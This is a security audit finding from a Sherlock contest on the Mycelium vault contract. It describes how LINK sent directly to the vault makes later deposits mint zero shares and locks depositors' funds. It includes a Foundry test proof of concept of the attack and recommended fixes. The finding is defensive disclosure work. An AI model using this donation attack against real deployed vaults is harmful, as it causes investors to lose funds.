CRYP70

high

# Forcibly sending tokens to the vault can block future investors from receiving myLink causing a Denial of Service condition and loss of funds.

## Summary
When depositing funds for the very first time, the number of shares is determined by `_tokens * STARTING_SHARES_PER_LINK` which makes sense because we cannot multiply by zero myLink tokens in the supply. A malicious user can forcibly send LINK tokens to the vault to cause a denial of service condition and a loss of funds.

## Vulnerability Detail
When `convertToShares()` is determining the number of shares to give a user after depositing, the if statement on line `616` is never executed when LINK tokens aren't sent by the `deposit()` method because the `balanceOf(address(this))` is not an accurate value of the deposits in `totalSupply()`.  The `tokenSupply` in this situation is not zero and due to the forcibly sent tokens in the contract accounting, the program doesn't execute `_tokens * STARTING_SHARES_PER_LINK`. Execution will skip to the last line ( return `_tokens * 0 / 1`) - which is always going to be zero. 

## Impact
I have awarded this a high in severity because of how cheap and easy it is to launch the attack. Users may also deposit large amounts of funds only to realise that they may have not received any `myLink` tokens back. As a result, their tokens are locked in the contract forever.

## Code Snippet
https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L616-L618
https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L553

## Proof of Concept
```solidity
pragma solidity ^0.8.9;

import "../../lib/forge-std/src/Test.sol";
import "../../lib/forge-std/src/console.sol";
import "../../src/Vault.sol";
import "../../src/AttackerContract.sol";
import "../../src/plugins/AaveV2Plugin.sol";
import "../utils/Token.sol";
import "openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";


contract MyTests is Test {
    Token public link;
    Vault public vault;
    AaveV2Plugin public aavePlugin;
    address implementation;
    address proxy;

    address public alice = vm.addr(1);
    address public bob = vm.addr(2);
    address public carol = vm.addr(3);
    address public dan = vm.addr(4);
    address public eve = vm.addr(5);
    address public frank = vm.addr(6);
    address public admin = vm.addr(7);

    function setUp() public {

        link = new Token("Chainlink", "LINK");
        vm.startPrank(address(admin));
        implementation = address(new Vault());
        proxy = address(new ERC1967Proxy(implementation, ""));
        vault = Vault(proxy);
        vault.initialize(address(link), address(admin), 10e34, 1000);

        vm.stopPrank();
    }


    function testDenialOfServiceCondition() public {

        link.mint(address(alice), 1000 ether);
        link.mint(address(eve), 101 ether);
        link.mint(address(bob), 250 ether);

        vm.startPrank(address(eve));
        // First depositor forcibly sends 1 token. 
        link.transfer(address(vault), 1 ether); 
        vm.stopPrank();

        vm.startPrank(address(bob));
        link.approve(address(vault), 55 ether);
        vault.deposit(55 ether);
        vm.stopPrank();

        vm.startPrank(address(alice));
        link.approve(address(vault), 500 ether);
        vault.deposit(500 ether);
        vm.stopPrank();


        vm.startPrank(address(alice));
        vm.expectRevert("Amount exceeds balance");
        vault.withdraw(500 ether); // Alice cannot withdraw funds because her myLink balance is still zero
        vm.stopPrank();

        uint256 alicebalance = vault.balanceOf(address(alice));
        assertEq(alicebalance, 0);

    }
}
```

## Tool used
Manual Review

## Recommendation
_Short Term_
I recommend removing the use of `.balanceOf(address(this))` when determining the total supply. I recommend replacing this with a storage variable each time `deposit()` is called which accrues tokens deposited and is adjusted when tokens are withdrawn. This value can be used when determining the total supply.  
_Long Term_
It could be worth considering an [ERC777](https://docs.openzeppelin.com/contracts/2.x/erc777) implementation. This will allow the vault to use receive hooks to react when tokens are sent. In this instance the vault could revert the transaction if `deposit()` wasn't used. 
